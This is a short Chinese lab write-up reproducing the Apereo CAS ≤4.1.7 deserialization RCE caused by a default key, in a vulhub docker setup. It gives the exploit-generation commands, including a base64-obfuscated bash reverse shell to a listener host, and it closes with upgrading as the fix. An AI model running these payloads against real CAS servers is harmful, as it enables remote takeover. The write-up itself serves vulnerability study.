Apereo-CAS rce
Apereo-CAS 4.1 反序列化命令执行漏洞
漏洞描述
- 漏洞编号:Apereo-CAS 4.1-rce
- 影响版本:Apereo-CAS <= 4.1.7
- 漏洞产生原因:其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
参考链接:- https://apereo.github.io/2016/04/08/commonsvulndisc/
启动环境:docker-compose up -d
vulnIP:192.168.18.134
hackIP:192.168.18.216
nc监听IP:192.168.18.244
环境启动后,访问`http://192.168.18.134:8080/cas/login`即可查看到登录页面。
漏洞发现
关注Apereo CAS的版本
漏洞利用
漏洞原理实际上是Webflow中使用了默认密钥`changeit`:
我们使用[Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack)
https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload:
java -jar '.\apereo-cas-attack-1.0-SNAPSHOT-all (2).jar' CommonsCollections4 "touch /tmp/successcas"
然后我们登录CAS并抓包,将Body中的`execution`值替换成上面生成的Payload发送:
登录Apereo CAS,可见`touch /tmp/success`已成功执行:
将命令替换成弹shell语句再利用:
java -jar '.\apereo-cas-attack-1.0-SNAPSHOT-all (2).jar' CommonsCollections4 "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
问题汇总
修复方案
打补丁,升级到最新版本~
2021-01-02 19:45:54